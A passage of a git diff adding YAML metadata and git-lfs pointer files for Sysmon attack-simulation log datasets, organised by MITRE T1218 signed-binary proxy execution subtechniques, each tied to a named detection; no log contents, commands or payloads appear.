b/datasets/attack_techniques/T1218.003/moz_lib_loaded/mozilla_lib-87bda6d8-b57c-4daf-9b65-b6d50d7ca9c3.log new file mode 100644 index 000000000..1ca3e6f57 --- /dev/null +++ b/datasets/attack_techniques/T1218.003/moz_lib_loaded/mozilla_lib-87bda6d8-b57c-4daf-9b65-b6d50d7ca9c3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:33b7ceb39ae28ac146fefb560bc6b61261d2516aa630045de53f65111bec63f7 +size 4452 diff --git a/datasets/attack_techniques/T1218.004/atomic_red_team/T1218.004_atomic_red_team.yml b/datasets/attack_techniques/T1218.004/atomic_red_team/T1218.004_atomic_red_team.yml new file mode 100644 index 000000000..3884f684c --- /dev/null +++ b/datasets/attack_techniques/T1218.004/atomic_red_team/T1218.004_atomic_red_team.yml @@ -0,0 +1,17 @@ +author: STRT +id: 497c3439-21a6-4232-a9b8-b6ade9d56b99 +date: '2026-07-11' +description: Curated attack data generated for detection Windows DotNet Binary in + Non Standard Path +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon_installutil_path + path: /datasets/attack_techniques/T1218.004/atomic_red_team/windows-sysmon_installutil_path-497c3439-21a6-4232-a9b8-b6ade9d56b99.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.004/atomic_red_team/windows-sysmon-497c3439-21a6-4232-a9b8-b6ade9d56b99.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.004/atomic_red_team/windows-sysmon-497c3439-21a6-4232-a9b8-b6ade9d56b99.log b/datasets/attack_techniques/T1218.004/atomic_red_team/windows-sysmon-497c3439-21a6-4232-a9b8-b6ade9d56b99.log new file mode 100644 index 000000000..19630fc69 --- /dev/null +++ b/datasets/attack_techniques/T1218.004/atomic_red_team/windows-sysmon-497c3439-21a6-4232-a9b8-b6ade9d56b99.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7988c0836da571d6e1d5e7347db7d9079074b0c78df16e883c5753a8cacfee8b +size 2059 diff --git a/datasets/attack_techniques/T1218.004/atomic_red_team/windows-sysmon_installutil_path-497c3439-21a6-4232-a9b8-b6ade9d56b99.log b/datasets/attack_techniques/T1218.004/atomic_red_team/windows-sysmon_installutil_path-497c3439-21a6-4232-a9b8-b6ade9d56b99.log new file mode 100644 index 000000000..728ebbb3f --- /dev/null +++ b/datasets/attack_techniques/T1218.004/atomic_red_team/windows-sysmon_installutil_path-497c3439-21a6-4232-a9b8-b6ade9d56b99.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b127c6e7b6896ed03d61c39fb44083f0721ba0b35228933ca1c353c3523090c0 +size 6017 diff --git a/datasets/attack_techniques/T1218.005/atomic_red_team/T1218.005_atomic_red_team.yml b/datasets/attack_techniques/T1218.005/atomic_red_team/T1218.005_atomic_red_team.yml new file mode 100644 index 000000000..e02f0bd0b --- /dev/null +++ b/datasets/attack_techniques/T1218.005/atomic_red_team/T1218.005_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: e2387d11-3f7d-4681-bff3-c2f2ccab442e +date: '2026-07-11' +description: Curated attack data generated for detection Detect mshta inline hta execution +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.005/atomic_red_team/windows-sysmon-e2387d11-3f7d-4681-bff3-c2f2ccab442e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: mshta_tasks_windows-sysmon + path: /datasets/attack_techniques/T1218.005/atomic_red_team/mshta_tasks_windows-sysmon-e2387d11-3f7d-4681-bff3-c2f2ccab442e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.005/atomic_red_team/mshta_tasks_windows-sysmon-e2387d11-3f7d-4681-bff3-c2f2ccab442e.log b/datasets/attack_techniques/T1218.005/atomic_red_team/mshta_tasks_windows-sysmon-e2387d11-3f7d-4681-bff3-c2f2ccab442e.log new file mode 100644 index 000000000..1329b89b9 --- /dev/null +++ b/datasets/attack_techniques/T1218.005/atomic_red_team/mshta_tasks_windows-sysmon-e2387d11-3f7d-4681-bff3-c2f2ccab442e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a8f64b9d6ebb3e5d46be1c3cff44a820edc1ce65df5fbf0e75da22d157cbe243 +size 1031 diff --git a/datasets/attack_techniques/T1218.005/atomic_red_team/windows-sysmon-e2387d11-3f7d-4681-bff3-c2f2ccab442e.log b/datasets/attack_techniques/T1218.005/atomic_red_team/windows-sysmon-e2387d11-3f7d-4681-bff3-c2f2ccab442e.log new file mode 100644 index 000000000..24ad210ae --- /dev/null +++ b/datasets/attack_techniques/T1218.005/atomic_red_team/windows-sysmon-e2387d11-3f7d-4681-bff3-c2f2ccab442e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7c0e0ec12c0901c3cd7d823dab98cac6269e9ccb32a0421ef36c9ebe7b879f07 +size 573681 diff --git a/datasets/attack_techniques/T1218.005/mshta_in_registry/T1218.005_mshta_in_registry.yml b/datasets/attack_techniques/T1218.005/mshta_in_registry/T1218.005_mshta_in_registry.yml new file mode 100644 index 000000000..5e944f12e --- /dev/null +++ b/datasets/attack_techniques/T1218.005/mshta_in_registry/T1218.005_mshta_in_registry.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9b38b1b0-9558-4940-bcef-18e8c0db5602 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Mshta Execution In + Registry +environment: attack_range +directory: mshta_in_registry +mitre_technique: [] +datasets: +- name: sysmon3 + path: /datasets/attack_techniques/T1218.005/mshta_in_registry/sysmon3-9b38b1b0-9558-4940-bcef-18e8c0db5602.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.005/mshta_in_registry/sysmon3-9b38b1b0-9558-4940-bcef-18e8c0db5602.log b/datasets/attack_techniques/T1218.005/mshta_in_registry/sysmon3-9b38b1b0-9558-4940-bcef-18e8c0db5602.log new file mode 100644 index 000000000..6a7b7fddf --- /dev/null +++ b/datasets/attack_techniques/T1218.005/mshta_in_registry/sysmon3-9b38b1b0-9558-4940-bcef-18e8c0db5602.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9ed13b563a0d9dbb2973b1fc1891c8733f484e1eb29e229c3de33f2c011bef4a +size 1132 diff --git a/datasets/attack_techniques/T1218.007/atomic_red_team/T1218.007_atomic_red_team.yml b/datasets/attack_techniques/T1218.007/atomic_red_team/T1218.007_atomic_red_team.yml new file mode 100644 index 000000000..640c5d52d --- /dev/null +++ b/datasets/attack_techniques/T1218.007/atomic_red_team/T1218.007_atomic_red_team.yml @@ -0,0 +1,17 @@ +author: STRT +id: 9bf57014-3e05-4790-a572-ec6b89665d3e +date: '2026-07-11' +description: Curated attack data generated for detection Windows HTTP Network Communication + From MSIExec +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.007/atomic_red_team/windows-sysmon-9bf57014-3e05-4790-a572-ec6b89665d3e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windbg_msiexec + path: /datasets/attack_techniques/T1218.007/atomic_red_team/windbg_msiexec-9bf57014-3e05-4790-a572-ec6b89665d3e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.007/atomic_red_team/windbg_msiexec-9bf57014-3e05-4790-a572-ec6b89665d3e.log b/datasets/attack_techniques/T1218.007/atomic_red_team/windbg_msiexec-9bf57014-3e05-4790-a572-ec6b89665d3e.log new file mode 100644 index 000000000..d8162069f --- /dev/null +++ b/datasets/attack_techniques/T1218.007/atomic_red_team/windbg_msiexec-9bf57014-3e05-4790-a572-ec6b89665d3e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:90bce75188e8043d0dd1f1647d8fa73dc96c3ec3dd1616c6f8f847d2b8668752 +size 4588 diff --git a/datasets/attack_techniques/T1218.007/atomic_red_team/windows-sysmon-9bf57014-3e05-4790-a572-ec6b89665d3e.log b/datasets/attack_techniques/T1218.007/atomic_red_team/windows-sysmon-9bf57014-3e05-4790-a572-ec6b89665d3e.log new file mode 100644 index 000000000..3a94d6382 --- /dev/null +++ b/datasets/attack_techniques/T1218.007/atomic_red_team/windows-sysmon-9bf57014-3e05-4790-a572-ec6b89665d3e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4b9f8ec5168cd6298681cc48f97c9e600a7fc711840ea9b71e353454c92d60ea +size 2099 diff --git a/datasets/attack_techniques/T1218.007/msiexec-hidewindow-rundll32/T1218.007_msiexec-hidewindow-rundll32.yml b/datasets/attack_techniques/T1218.007/msiexec-hidewindow-rundll32/T1218.007_msiexec-hidewindow-rundll32.yml new file mode 100644 index 000000000..0e4af84a1 --- /dev/null +++ b/datasets/attack_techniques/T1218.007/msiexec-hidewindow-rundll32/T1218.007_msiexec-hidewindow-rundll32.yml @@ -0,0 +1,13 @@ +author: STRT +id: 636c2db2-ec31-4093-9ea0-0c3d1236cc5a +date: '2026-07-11' +description: Curated attack data generated for detection Windows MsiExec HideWindow + Rundll32 Execution +environment: attack_range +directory: msiexec-hidewindow-rundll32 +mitre_technique: [] +datasets: +- name: hidewndw-rundll32 + path: /datasets/attack_techniques/T1218.007/msiexec-hidewindow-rundll32/hidewndw-rundll32-636c2db2-ec31-4093-9ea0-0c3d1236cc5a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.007/msiexec-hidewindow-rundll32/hidewndw-rundll32-636c2db2-ec31-4093-9ea0-0c3d1236cc5a.log b/datasets/attack_techniques/T1218.007/msiexec-hidewindow-rundll32/hidewndw-rundll32-636c2db2-ec31-4093-9ea0-0c3d1236cc5a.log new file mode 100644 index 000000000..75d4a5873 --- /dev/null +++ b/datasets/attack_techniques/T1218.007/msiexec-hidewindow-rundll32/hidewndw-rundll32-636c2db2-ec31-4093-9ea0-0c3d1236cc5a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f27c473688adccfbf39407dc9c724f6ac1817abcc4bd5ceeafa78afc0066ea37 +size 4002 diff --git a/datasets/attack_techniques/T1218.007/snapattack/T1218.007_snapattack.yml b/datasets/attack_techniques/T1218.007/snapattack/T1218.007_snapattack.yml new file mode 100644 index 000000000..ccc66333d --- /dev/null +++ b/datasets/attack_techniques/T1218.007/snapattack/T1218.007_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 29a6946a-cdac-4d9e-9ec4-31da6c942a06 +date: '2026-07-11' +description: Curated attack data generated for detection Windows MSI Rollback Script + Deleted By Non-Msiexec Process +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1218.007/snapattack/snapattack-29a6946a-cdac-4d9e-9ec4-31da6c942a06.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.007/snapattack/snapattack-29a6946a-cdac-4d9e-9ec4-31da6c942a06.log b/datasets/attack_techniques/T1218.007/snapattack/snapattack-29a6946a-cdac-4d9e-9ec4-31da6c942a06.log new file mode 100644 index 000000000..a3f9d948c --- /dev/null +++ b/datasets/attack_techniques/T1218.007/snapattack/snapattack-29a6946a-cdac-4d9e-9ec4-31da6c942a06.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:00db67cfe74717fefb7d95526f89fb37d9824652861938f691ff84358ea5509a +size 2878 diff --git a/datasets/attack_techniques/T1218.008/atomic_red_team/T1218.008_atomic_red_team.yml b/datasets/attack_techniques/T1218.008/atomic_red_team/T1218.008_atomic_red_team.yml new file mode 100644 index 000000000..c3bb7cd64 --- /dev/null +++ b/datasets/attack_techniques/T1218.008/atomic_red_team/T1218.008_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: e7986fb7-945d-4299-95f7-afbe7bb1bb76 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Odbcconf Hunting +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon-odbc-regsvr + path: /datasets/attack_techniques/T1218.008/atomic_red_team/windows-sysmon-odbc-regsvr-e7986fb7-945d-4299-95f7-afbe7bb1bb76.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon-odbc-rsp + path: /datasets/attack_techniques/T1218.008/atomic_red_team/windows-sysmon-odbc-rsp-e7986fb7-945d-4299-95f7-afbe7bb1bb76.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.008/atomic_red_team/windows-sysmon-odbc-regsvr-e7986fb7-945d-4299-95f7-afbe7bb1bb76.log b/datasets/attack_techniques/T1218.008/atomic_red_team/windows-sysmon-odbc-regsvr-e7986fb7-945d-4299-95f7-afbe7bb1bb76.log new file mode 100644 index 000000000..fb743cd05 --- /dev/null +++ b/datasets/attack_techniques/T1218.008/atomic_red_team/windows-sysmon-odbc-regsvr-e7986fb7-945d-4299-95f7-afbe7bb1bb76.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:da2bb4aeb044ab91569d4f94858f438846dca9262ab3237547163181532f2f08 +size 2107 diff --git a/datasets/attack_techniques/T1218.008/atomic_red_team/windows-sysmon-odbc-rsp-e7986fb7-945d-4299-95f7-afbe7bb1bb76.log b/datasets/attack_techniques/T1218.008/atomic_red_team/windows-sysmon-odbc-rsp-e7986fb7-945d-4299-95f7-afbe7bb1bb76.log new file mode 100644 index 000000000..fea3fb8f1 --- /dev/null +++ b/datasets/attack_techniques/T1218.008/atomic_red_team/windows-sysmon-odbc-rsp-e7986fb7-945d-4299-95f7-afbe7bb1bb76.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8adcaf26a138b2e88541f89bf76cf506c6a1f5fcb2162563ae8a0f33171d6812 +size 2041 diff --git a/datasets/attack_techniques/T1218.009/atomic_red_team/T1218.009_atomic_red_team.yml b/datasets/attack_techniques/T1218.009/atomic_red_team/T1218.009_atomic_red_team.yml new file mode 100644 index 000000000..5236a4a7e --- /dev/null +++ b/datasets/attack_techniques/T1218.009/atomic_red_team/T1218.009_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7561151a-3b87-483d-9cab-e6abfaba87f0 +date: '2026-07-10' +description: Curated attack data generated for detection Detect Regasm Spawning a + Process +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.009/atomic_red_team/windows-sysmon-7561151a-3b87-483d-9cab-e6abfaba87f0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.009/atomic_red_team/windows-sysmon-7561151a-3b87-483d-9cab-e6abfaba87f0.log b/datasets/attack_techniques/T1218.009/atomic_red_team/windows-sysmon-7561151a-3b87-483d-9cab-e6abfaba87f0.log new file mode 100644 index 000000000..16efaf746 --- /dev/null +++ b/datasets/attack_techniques/T1218.009/atomic_red_team/windows-sysmon-7561151a-3b87-483d-9cab-e6abfaba87f0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:40c8a468989bb2822f264326151fd789d111fd7ef7da66f9900f8016bc6c0f8b +size 1481 diff --git a/datasets/attack_techniques/T1218.010/atomic_red_team/T1218.010_atomic_red_team.yml b/datasets/attack_techniques/T1218.010/atomic_red_team/T1218.010_atomic_red_team.yml new file mode 100644 index 000000000..efa0c8ee8 --- /dev/null +++ b/datasets/attack_techniques/T1218.010/atomic_red_team/T1218.010_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 44d47167-ae11-42dc-babd-236cd5f88cee +date: '2026-07-11' +description: Curated attack data generated for detection Detect Regsvr32 Application + Control Bypass +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.010/atomic_red_team/windows-sysmon-44d47167-ae11-42dc-babd-236cd5f88cee.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.010/atomic_red_team/windows-sysmon-44d47167-ae11-42dc-babd-236cd5f88cee.log b/datasets/attack_techniques/T1218.010/atomic_red_team/windows-sysmon-44d47167-ae11-42dc-babd-236cd5f88cee.log new file mode 100644 index 000000000..d93154437 --- /dev/null +++ b/datasets/attack_techniques/T1218.010/atomic_red_team/windows-sysmon-44d47167-ae11-42dc-babd-236cd5f88cee.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:77099ea0a437f8bd766f2b097c24ce5efaf8110c9cf9d4bf11d88f52c291d233 +size 6182 diff --git a/datasets/attack_techniques/T1218.010/snapattack/T1218.010_snapattack.yml b/datasets/attack_techniques/T1218.010/snapattack/T1218.010_snapattack.yml new file mode 100644 index 000000000..a6d2f304c --- /dev/null +++ b/datasets/attack_techniques/T1218.010/snapattack/T1218.010_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 78c6f4cd-db28-49db-94f8-93b0d65699e5 +date: '2026-07-11' +description: Curated attack data generated for detection Windows IOBit Unlocker Extension + DLL Registration via Regsvr32 +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1218.010/snapattack/snapattack-78c6f4cd-db28-49db-94f8-93b0d65699e5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1218.010/snapattack/snapattack-78c6f4cd-db28-49db-94f8-93b0d65699e5.log b/datasets/attack_techniques/T1218.010/snapattack/snapattack-78c6f4cd-db28-49db-94f8-93b0d65699e5.log new file mode 100644 index 000000000..0b6907f74 --- /dev/null +++ b/datasets/attack_techniques/T1218.010/snapattack/snapattack-78c6f4cd-db28-49db-94f8-93b0d65699e5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:96636071f13524e7384bb4a021b478801eb5456942cfc8fbeaa63529ef9bbfc8 +size 1599 diff --git a/datasets/attack_techniques/T1218.011/atomic_red_team/T1218.011_atomic_red_team.yml b/datasets/attack_techniques/T1218.011/atomic_red_team/T1218.011_atomic_red_team.yml new file mode 100644 index 000000000..7a7e580f7 --- /dev/null +++ b/datasets/attack_techniques/T1218.011/atomic_red_team/T1218.011_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: b1c36f5a-f8c5-4c56-885c-0db9e058fb18 +date: '2026-07-11' +description: Curated attack data generated for detection RunDLL Loading DLL By Ordinal +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: ordinal_windows-sysmon + path: /datasets/attack_techniques/T1218.011/atomic_red_team/ordinal_windows-sysmon-b1c36f5a-f8c5-4c56-885c-0db9e058fb18.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.011/atomic_red_team/windows-sysmon-b1c36f5a-f8c5-4c56-885c-0db9e058fb18.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.011/atomic_red_team/ordinal_windows-sysmon-b1c36f5a-f8c5-4c56-885c-0db9e058fb18.log b/datasets/attack_techniques/T1218.011/atomic_red_team/ordinal_windows-sysmon-b1c36f5a-f8c5-4c56-885c-0db9e058fb18.log new file mode 100644 index 000000000..21ec1de74 --- /dev/null +++ b/datasets/attack_techniques/T1218.011/atomic_red_team/ordinal_windows-sysmon-b1c36f5a-f8c5-4c56-885c-0db9e058fb18.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8d29a0a769657356ded19ba8d563ddd99d4bf79abf7c391216fe169091532bab +size 9234 diff --git a/datasets/attack_techniques/T1218.011/atomic_red_team/windows-sysmon-b1c36f5a-f8c5-4c56-885c-0db9e058fb18.log b/datasets/attack_techniques/T1218.011/atomic_red_team/windows-sysmon-b1c36f5a-f8c5-4c56-885c-0db9e058fb18.log new file mode 100644 index 000000000..12cdcaeb9 --- /dev/null +++ b/datasets/attack_techniques/T1218.011/atomic_red_team/windows-sysmon-b1c36f5a-f8c5-4c56-885c-0db9e058fb18.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b09376af3a6e84821c823e79bd08d02780d262cf33743261521ab8a69349d457 +size 8738 diff --git a/datasets/attack_techniques/T1218.011/rundll32_dll_in_temp/T1218.011_rundll32_dll_in_temp.yml b/datasets/attack_techniques/T1218.011/rundll32_dll_in_temp/T1218.011_rundll32_dll_in_temp.yml new file mode 100644 index 000000000..2dd34d065 --- /dev/null +++ b/datasets/attack_techniques/T1218.011/rundll32_dll_in_temp/T1218.011_rundll32_dll_in_temp.yml @@ -0,0 +1,13 @@ +author: STRT +id: a95f1540-6172-4e30-af7a-6150432e217e +date: '2026-07-11' +description: Curated attack data generated for detection Windows Rundll32 Load DLL + in Temp Dir +environment: attack_range +directory: rundll32_dll_in_temp +mitre_technique: [] +datasets: +- name: rundll32_tmp + path: /datasets/attack_techniques/T1218.011/rundll32_dll_in_temp/rundll32_tmp-a95f1540-6172-4e30-af7a-6150432e217e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.011/rundll32_dll_in_temp/rundll32_tmp-a95f1540-6172-4e30-af7a-6150432e217e.log b/datasets/attack_techniques/T1218.011/rundll32_dll_in_temp/rundll32_tmp-a95f1540-6172-4e30-af7a-6150432e217e.log new file mode 100644 index 000000000..2f35950c5 --- /dev/null +++ b/datasets/attack_techniques/T1218.011/rundll32_dll_in_temp/rundll32_tmp-a95f1540-6172-4e30-af7a-6150432e217e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5ac4747551f733d673cd6828a55732b7b542d3552698325cbdac2df2a69aa62f +size 4057 diff --git a/datasets/attack_techniques/T1218.011/rundll32_random_dll_ext/T1218.011_rundll32_random_dll_ext.yml b/datasets/attack_techniques/T1218.011/rundll32_random_dll_ext/T1218.011_rundll32_random_dll_ext.yml new file mode 100644 index 000000000..221f28b4c --- /dev/null +++ b/datasets/attack_techniques/T1218.011/rundll32_random_dll_ext/T1218.011_rundll32_random_dll_ext.yml @@ -0,0 +1,13 @@ +author: STRT +id: e3814bb4-51a8-4a31-a2ff-e3f631b0430b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Rundll32 with Non-Standard + File Extension +environment: attack_range +directory: rundll32_random_dll_ext +mitre_technique: [] +datasets: +- name: rundll32_random_ext + path: /datasets/attack_techniques/T1218.011/rundll32_random_dll_ext/rundll32_random_ext-e3814bb4-51a8-4a31-a2ff-e3f631b0430b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.011/rundll32_random_dll_ext/rundll32_random_ext-e3814bb4-51a8-4a31-a2ff-e3f631b0430b.log b/datasets/attack_techniques/T1218.011/rundll32_random_dll_ext/rundll32_random_ext-e3814bb4-51a8-4a31-a2ff-e3f631b0430b.log new file mode 100644 index 000000000..0c422602e --- /dev/null +++ b/datasets/attack_techniques/T1218.011/rundll32_random_dll_ext/rundll32_random_ext-e3814bb4-51a8-4a31-a2ff-e3f631b0430b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9ee36521c744e02dc7c3169f4738673499105929fd202cb339d696720f2d408d +size 2466 diff --git a/datasets/attack_techniques/T1218.011/update_per_user_system/T1218.011_update_per_user_system.yml b/datasets/attack_techniques/T1218.011/update_per_user_system/T1218.011_update_per_user_system.yml new file mode 100644 index 000000000..65639899d --- /dev/null +++ b/datasets/attack_techniques/T1218.011/update_per_user_system/T1218.011_update_per_user_system.yml @@ -0,0 +1,13 @@ +author: STRT +id: ff6c96c8-6bb6-42bd-8a45-9c1b533755bf +date: '2026-07-11' +description: Curated attack data generated for detection Windows Rundll32 Apply User + Settings Changes +environment: attack_range +directory: update_per_user_system +mitre_technique: [] +datasets: +- name: rundll32_updateperusersystem + path: /datasets/attack_techniques/T1218.011/update_per_user_system/rundll32_updateperusersystem-ff6c96c8-6bb6-42bd-8a45-9c1b533755bf.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.011/update_per_user_system/rundll32_updateperusersystem-ff6c96c8-6bb6-42bd-8a45-9c1b533755bf.log b/datasets/attack_techniques/T1218.011/update_per_user_system/rundll32_updateperusersystem-ff6c96c8-6bb6-42bd-8a45-9c1b533755bf.log new file mode 100644 index 000000000..36d5e415b --- /dev/null +++ b/datasets/attack_techniques/T1218.011/update_per_user_system/rundll32_updateperusersystem-ff6c96c8-6bb6-42bd-8a45-9c1b533755bf.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:62bbe48c3ea97b5394a80d6c22fccf21d6f1bef82d10322b186f4a71378ea793 +size 2020 diff --git a/datasets/attack_techniques/T1218.012/verclsid_exec/T1218.012_verclsid_exec.yml b/datasets/attack_techniques/T1218.012/verclsid_exec/T1218.012_verclsid_exec.yml new file mode 100644 index 000000000..162503921 --- /dev/null +++ b/datasets/attack_techniques/T1218.012/verclsid_exec/T1218.012_verclsid_exec.yml @@ -0,0 +1,12 @@ +author: STRT +id: e21b4638-e1f9-4335-ad48-2eeca15bd27a +date: '2026-07-11' +description: Curated attack data generated for detection Verclsid CLSID Execution +environment: attack_range +directory: verclsid_exec +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1218.012/verclsid_exec/sysmon-e21b4638-e1f9-4335-ad48-2eeca15bd27a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.012/verclsid_exec/sysmon-e21b4638-e1f9-4335-ad48-2eeca15bd27a.log b/datasets/attack_techniques/T1218.012/verclsid_exec/sysmon-e21b4638-e1f9-4335-ad48-2eeca15bd27a.log new file mode 100644 index 000000000..d79343513 --- /dev/null +++ b/datasets/attack_techniques/T1218.012/verclsid_exec/sysmon-e21b4638-e1f9-4335-ad48-2eeca15bd27a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f0b0cb9493fb9a3870744576083efcf4b3f17e489b34528b6bc27d2217308f0a +size 1964 diff --git a/datasets/attack_techniques/T1218.013/atomic_red_team/T1218.013_atomic_red_team.yml b/datasets/attack_techniques/T1218.013/atomic_red_team/T1218.013_atomic_red_team.yml new file mode 100644 index 000000000..844aa76d9 --- /dev/null +++ b/datasets/attack_techniques/T1218.013/atomic_red_team/T1218.013_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8934ab66-4b73-4374-a147-d0cf2b17162d +date: '2026-07-11' +description: Curated attack data generated for detection Windows Binary Proxy Execution + Mavinject DLL Injection +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.013/atomic_red_team/windows-sysmon-8934ab66-4b73-4374-a147-d0cf2b17162d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.013/atomic_red_team/windows-sysmon-8934ab66-4b73-4374-a147-d0cf2b17162d.log b/datasets/attack_techniques/T1218.013/atomic_red_team/windows-sysmon-8934ab66-4b73-4374-a147-d0cf2b17162d.log new file mode 100644 index 000000000..676e9ca63 --- /dev/null +++ b/datasets/attack_techniques/T1218.013/atomic_red_team/windows-sysmon-8934ab66-4b73-4374-a147-d0cf2b17162d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8dd3eadd48ccb3810fe2c6ae90afbc77c4061d82a7e9a3ea765ac48f6856112f +size 6282 diff --git a/datasets/attack_techniques/T1218.014/msc_execution/T1218.014_msc_execution.yml b/datasets/attack_techniques/T1218.014/msc_execution/T1218.014_msc_execution.yml new file mode 100644 index 000000000..d7cb41133 --- /dev/null +++ b/datasets/attack_techniques/T1218.014/msc_execution/T1218.014_msc_execution.yml @@ -0,0 +1,13 @@ +author: STRT +id: d423f0b0-0d73-4e9b-bf2e-72895200b14b +date: '2026-07-11' +description: Curated 